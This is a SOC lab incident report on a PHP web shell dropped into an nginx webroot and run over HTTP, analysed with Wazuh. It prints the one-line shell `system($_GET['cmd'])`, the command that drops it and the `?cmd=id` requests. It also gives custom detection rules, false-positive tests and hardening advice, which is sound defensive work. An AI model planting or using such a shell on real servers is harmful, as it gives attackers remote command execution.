SOC L1 LAB · INC-003

INC-003 — Detailed Findings Report

A web shell, a 200 response, and the rule that was missing

INCIDENT	INC-003 — Web shell dropped and executed
REPORT DATE	2026-11-01
CLASSIFICATION	Lab exercise — sanitized for publication
ENVIRONMENT	Wazuh 4.14.7 · Debian 12 · QEMU/KVM
SEVERITY	High

Independent portfolio lab. No production systems, client data, or real credentials.

Contents

1. Executive summary
2. Scope and methodology
3. Environment
4. Attack narrative
5. Timeline
6. Evidence
7. Detection analysis
8. False-positive validation
9. Root cause
10. Impact
11. Severity
12. Response actions
13. Recommendations
14. Detection gaps
15. Lessons learned

Appendix A — Rules
Appendix B — MITRE ATT&CK
Appendix C — Evidence index
Appendix D — Glossary

Incident	INC-003 — Web shell dropped and executed
Classification	Lab exercise, sanitized for publication
Activity date	2026-10-31
Report date	2026-11-01
Author	SOC L1 portfolio lab
Status	Closed — escalated
Severity	High
Related	`tickets/INC-003-web-shell.md`, `writeups/INC-003-web-shell.md`, `rules/inc-003-rules.md`, `docs/evidence/INC-003-*`

---

1. Executive summary

At 22:12:20 UTC, a PHP file appeared in the nginx webroot. One second later auditd recorded its creation. Four seconds after that, an HTTP request returned `uid=33(www-data)`.

The drop was visible in three places: FIM reported the new file, audit reported the `cp`, and sudo reported the command that put it there. The **use** was not visible. The request `GET /updates2.php?cmd=id` returned HTTP 200, and the stock web ruleset only alerted on 4xx/5xx errors or known attack user-agents.

Two custom rules close the gap:

Rule	Purpose	Fired
100128	FIM: `.php` file added or modified	22:12:20.956
100127	Access log: `.php?cmd=` request	22:12:25 and 22:12:28

The web shell executed as `www-data`, not root. It ran `id` and `uname -a`; no privilege escalation, persistence, or lateral movement was observed.

A false-positive test against legitimate PHP deployment then showed the limits of both rules. A normal `index.php` deployment and update triggered 100128; a legitimate `index.php?cmd=status` triggered 100127; `?foo=1&cmd=id` was missed; a `.phtml` file was missed. Those results are in §8 and are part of the deliverable, not an afterthought.

---

2. Scope and methodology

2.1 Scope

In scope	Out of scope
One Debian 12 VM (`soc-victim` , 10.0.2.15)	Production systems
nginx 1.22.1 and PHP-FPM 8.2	Real malware or C2
Wazuh 4.14.7, FIM, auditd, Suricata	Employer or client data
Local HTTP over the forwarded port	Internet-facing targets

2.2 Method

1. Confirm the base lab, webroot FIM, and audit execve rules.
2. Generate legitimate web traffic and admin activity.
3. Drop a PHP command shell into `/var/www/html` .
4. Execute it over HTTP as the web user.
5. Record the first-run detections and the gap.
6. Add the two web-shell rules, then repeat in a clean window.
7. Re-test against legitimate PHP deployment and parameter usage.
8. Contain, preserve evidence, and write the ticket.

2.3 Limitations

- **Source address.** Every request arrives from the QEMU gateway `10.0.2.2` .
- **PHP-FPM was installed for the exercise.** A production host may have a different PHP configuration or none at all.
- **One host.** No WAF, no reverse proxy, no application logs beyond nginx.
- **Synthetic shell.** A three-line test file, not a real implant.

3. Environment

Component	Detail
SIEM	Wazuh 4.14.7, single-node Docker
Endpoint	Debian 12, 1.5 GB VM
Agent	Wazuh agent 4.14.7, ID 001, `soc-victim`
Web server	nginx 1.22.1, docroot `/var/www/html`
PHP	PHP-FPM 8.2, socket `/run/php/php8.2-fpm.sock`
FIM	realtime on `/etc`, `/home`, `/var/www/html`
Audit	execve (`audit-wazuh-c`), file watches (`audit-wazuh-w`)
Network	Suricata 7.0.10, 8,234 ET Open rules
Attacker	host shell, HTTP over `127.0.0.1:8080`

The first run served the shell as source because PHP was not configured. Installing `php-fpm` and adding the standard `location ~ \.php$` block made the file execute. That install also generated ~3,900 audit/dpkg alerts, which is why the clean evidence window is 20 seconds, not the whole session.

---

4. Attack narrative

4.1 Drop

```
sudo cp /tmp/updates2.php /var/www/html/updates2.php
```

File content:

```
<?php system($_GET['cmd']); ?>
```

SHA-256:

```
50e626c8e31a460af48991b83dfd98c0b24f3a9d9e6eb906e961e77a2aecf15d
```

The file was owned by `root:root` because it was copied with `sudo`, and was readable by the web user.

4.2 Use

```
GET /updates2.php?cmd=id HTTP/1.1
Host: 127.0.0.1:8080

HTTP/1.1 200 OK
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The same shell returned `uname -a` output. No other command was executed.

4.3 Why it worked

- The webroot was writable by the account used for the copy.
- PHP execution was enabled for `.php` files.
- The application had no allow-list of files or parameters.
- The shell used a readable `cmd` parameter and PHP's `system()` function, neither of which was disabled.

---

5. Timeline

Time (UTC)	Source	Event
22:07:18.951	FIM 554	`updates.php` added (first run)
22:07:19.103	audit 80792	`cp /tmp/updates.php /var/www/html/updates.php`
22:07:19.105	audit 80790	Created `/var/www/html/updates.php`
22:07:19.801	sudo 5402	`sudo cp ...` by `analyst`
22:07:51	Suricata 86601	`ET SCAN Sqlmap SQL Injection Scan`
22:08:42	HTTP	First successful execution as `www-data`
22:12:20.956	**100128**	`updates2.php` added (clean run)
22:12:21.160	audit 80790	Created `updates2.php`
22:12:24	HTTP	`GET /updates2.php?cmd=id` → `uid=33`
22:12:25.031	**100127**	`cmd=id` request
22:12:25.031	**100127**	`cmd=uname -a` request
22:12:28	**100127**	sqlmap user-agent request
22:13	admin	Files removed, evidence preserved
23:01–23:02	false-positive test	Legit PHP deploy, update, and `cmd=` usage

---

6. Evidence

6.1 Alert volume

Clean window: 22:12:15–22:12:35 UTC.

Rule	Description	Count
80792	Audit: command executed	55
80790	Audit: created file	1
100127	Web shell request	3
100128	PHP file added	1
80792 (`id` , `uname`)	Commands run by the shell	included above
Total		**67**

The broad session (including the PHP-FPM install) produced ~3,900 alerts; the evidence file keeps the clean window.

6.2 File evidence

Field	Value
Path	`/var/www/html/updates2.php`
Event	added (realtime)
Owner	`root:root`
SHA-256	`50e626c8e31a460af48991b83dfd98c0b24f3a9d9e6eb906e961e77a2aecf15d`
Content	`<?php system($_GET['cmd']); ?>`

6.3 Process evidence

```
22:12:20Z  sudo cp /tmp/updates2.php /var/www/html/updates2.php
22:12:20Z  cp /tmp/updates2.php /var/www/html/updates2.php
22:12:24Z  sh -c id
22:12:24Z  id
22:12:24Z  sh -c uname -a
22:12:24Z  uname -a
22:12:28Z  sh -c id
22:12:28Z  id
```

The shell's commands ran as `www-data` (`uid 33`), which is visible in the audit records and in the HTTP response.

6.4 Web evidence

```
10.0.2.2 - - [31/Oct/2026:22:12:24 +0000] "GET /updates2.php?cmd=id HTTP/1.1" 200 65 "-"
"curl/8.22.0"
10.0.2.2 - - [31/Oct/2026:22:12:28 +0000] "GET /updates2.php?cmd=id HTTP/1.1" 200 65 "-"
"sqlmap/1.7"
```

---

7. Detection analysis

7.1 What fired

Layer	Rule	What it proved
File	100128	A PHP file appeared in a monitored path
Process	80792	The `cp` and the shell's `id` / `uname`
Audit	80790	The file was created
Privilege	5402	Who copied it
Network	86601	A sqlmap user-agent was used (first run)
Web	100127	A `.php?cmd=` request was made

7.2 What stock detection missed

- Rule 31101 fires on 4xx/5xx responses. The web shell returned **200**.
- No stock rule inspects a successful request for a command parameter.
- Suricata catches known tools (sqlmap), not a hand-written shell requested with `curl`.

The lesson: file and process telemetry catch the drop and the execution, but only a web-layer rule catches the **request** that ties them together.

7.3 Why the custom rules

100128 gives the FIM event a severity and a meaning: a new PHP file in a monitored path is a web-shell candidate, not just a file change.

100127 looks at the access log where the request actually appears. It uses the stock level-0 parent 31100 and a literal `.php?cmd=` match.

Implementation findings:

- Wazuh uses **one `<match>` per rule**; two tags are not ANDed.
- OS_Regex variants (`\.php.*cmd=`, negated classes) did not match the access log.
- The literal substring is reliable; anchors and character classes are not, in this context.

---

8. False-positive validation

Legitimate activity was run on 2026-10-31 at 23:01–23:02.

Legitimate action	Result
Static `/`, `/index.nginx-debian.html`	silent
Deploy `index.php`	**100128 fired** (expected; change ticket needed)
Update `index.php`	**100128 fired** (expected)
`GET /index.php?page=1`	silent
`GET /index.php?cmd=status` (legitimate app parameter)	**100127 fired** (false positive)
`GET /index.php?foo=1&cmd=id`	**no 100127** (gap: parameter order)
`app.phtml`	**no 100128** (gap: extension)
`legacy.php5`	**100128 fired** (`.php` is a substring of `.php5`)
`/home/analyst/notes/app.php`	**100128 fired** (outside webroot; broad match)
`style.css`	silent

Conclusions:

- **100128 is a deployment monitor, not a web-shell-specific rule.** It will fire on every legitimate PHP release. That is acceptable if a change ticket is attached; it is not acceptable as an unreviewed pager alert.
- **100127 is a pattern match.** A legitimate `cmd` parameter at the first position triggers it; a malicious `cmd` at the second position escapes it.
- **Extensions matter.** `.phtml` is missed; `.php5` is caught only because it contains `.php`.

Recommended tuning:

- keep 100128 at level 12 but route it to a deployment-aware queue;
- add literal variants for other parameter names and extensions as separate rules;
- allow-list known application paths that legitimately use `cmd`;
- put a WAF or application log in front for parameter-order and POST-body coverage.

---

9. Root cause

9.1 Direct cause

A PHP file with `system($_GET['cmd'])` was written into an executable webroot and requested over HTTP.

9.2 Contributing factors

Factor	Effect
Webroot writable by the deployment path	A file could be placed there
PHP execution enabled for the whole docroot	The file ran
No allow-list of PHP files or parameters	The shell was reachable
`system()` not disabled	Command execution worked
No WAF	The request was not inspected
Web logs collected but not alerted on 200	The use was invisible

9.3 Five whys

1. **Why did it execute?** PHP-FPM ran a file the application did not deploy.
2. **Why was the file there?** The webroot was writable.
3. **Why was it writable?** Deployment permissions were not separated from runtime.
4. **Why did nobody see the request?** Stock web rules only alert on errors/tools.
5. **Why were the rules incomplete?** The detection set modelled file changes and attacks, not successful application-layer abuse.

---

10. Impact

Dimension	Assessment
Confidentiality	Web-user access to the host; commands ran as `www-data`
Integrity	A file was added to the docroot
Availability	None observed
Blast radius	One host; the web user's files and reachable services
Escalation	Not achieved in the window; local privilege escalation was not attempted

A web shell is an interactive foothold. Even as `www-data`, it can read application configs, reach internal services, and stage a second payload.

---

11. Severity

High.

- **Not Critical:** `www-data`, no root, no persistence, no lateral movement, one host.
- **Not Medium:** remote code execution with command output over HTTP, and a writable webroot that allows a repeat.

If the application held credentials or the web user had sudo, the rating would be Critical.

---

12. Response actions

1. Removed `updates.php` and `updates2.php` from `/var/www/html`.
2. Recorded the file hashes before deletion.
3. Verified the webroot contained only the original `index.nginx-debian.html`.
4. Preserved the FIM alert, audit commands, nginx access lines, and alert JSON.
5. Reviewed the PHP/nginx configuration; execution was as `www-data`.
6. Escalated for a deployment-permission and PHP-hardening review.

---

13. Recommendations

Immediate

#	Action
1	Remove the shell and hash it before deletion
2	Check the webroot for other unexpected `.php` files
3	Review the deployment account's write permissions
4	Confirm the web user cannot write executable content in production
5	Preserve logs before rotating

Short term

#	Action
6	Deploy 100127/100128; route 100128 to deployment-aware triage
7	Disable `system`, `exec`, `shell_exec`, `passthru`, `popen` in `php.ini`
8	Set `open_basedir` for the application
9	Make the webroot read-only at runtime; deploy via a pipeline
10	Add a WAF or reverse proxy with request inspection

Long term

#	Action
11	Separate build and runtime users
12	Add application-level logging for command parameters
13	Test parameter-order and extension variants in detection CI
14	Tabletop a web-shell incident with the deployment team
15	Review outbound restrictions for the web tier

---

14. Detection gaps

Gap	Consequence
No stock 200-response inspection	Successful shell requests are invisible
100127 requires `.php?cmd=` literal	`?foo=1&cmd=` and POST bodies escape
100128 matches any `.php` in monitored paths	Legit deploys and PHP outside the webroot fire
`.phtml` not matched	A shell with that extension is missed
No WAF	Request body and encoded payloads are not inspected
Webroot write path not monitored as a policy	The root cause is a permission, not an alert

---

15. Lessons learned

- **A 200 is not benign.** Successful abuse is the interesting case.
- **File, process, and request are three different questions.** Monitor all three.
- **Web-shell detection is deployment-aware.** 100128 is a deploy monitor first and a security rule second.
- **Literal matches are fragile.** They are what Wazuh's FIM/web rule engine handles reliably here, so document the exact shape and its blind spots.
- **Read-only deployment is the control.** Detection without it is a race.

Appendix A — Rules

```
<rule id="100127" level="12">
  <if_sid>31100</if_sid>
  <match>.php?cmd=</match>
  <description>Web: command parameter in a PHP request (possible web shell)</description>
  <mitre><id>T1505.003</id><id>T1059.004</id></mitre>
  <group>web,attack,</group>
</rule>
```

```
<rule id="100128" level="12">
  <if_sid>550,554</if_sid>
  <match>.php</match>
  <description>FIM: PHP file added under a monitored path (possible web shell)</description>
  <mitre><id>T1505.003</id></mitre>
  <group>syscheck,web,persistence,</group>
</rule>
```

Appendix B — MITRE ATT&CK

Technique	ID	Evidence
Server software component: web shell	T1505.003	`updates2.php` with `system()`
Unix shell	T1059.004	`sh -c id`, `sh -c uname -a`
System information discovery	T1082	`uname -a`
System owner/user discovery	T1033	`id`
Ingress tool transfer	T1105	not observed; the file was copied locally

Appendix C — Evidence index

File	Contents
`docs/evidence/INC-003-alerts.json`	67 alerts from the clean window
`docs/evidence/INC-003-web.log`	nginx access lines for the shell requests
`docs/evidence/INC-003-commands.txt`	Decoded audit commands
`writeups/INC-003-web-shell.md`	Narrative version
`rules/inc-003-rules.md`	Rule rationale and test matrix

Appendix D — Glossary

Term	Meaning
Web shell	A script uploaded to a web server that executes commands over HTTP
FIM	File integrity monitoring
PHP-FPM	FastCGI process manager that executes PHP
`www-data`	Debian's default web-server user
31100	Wazuh's level-0 grouping rule for access logs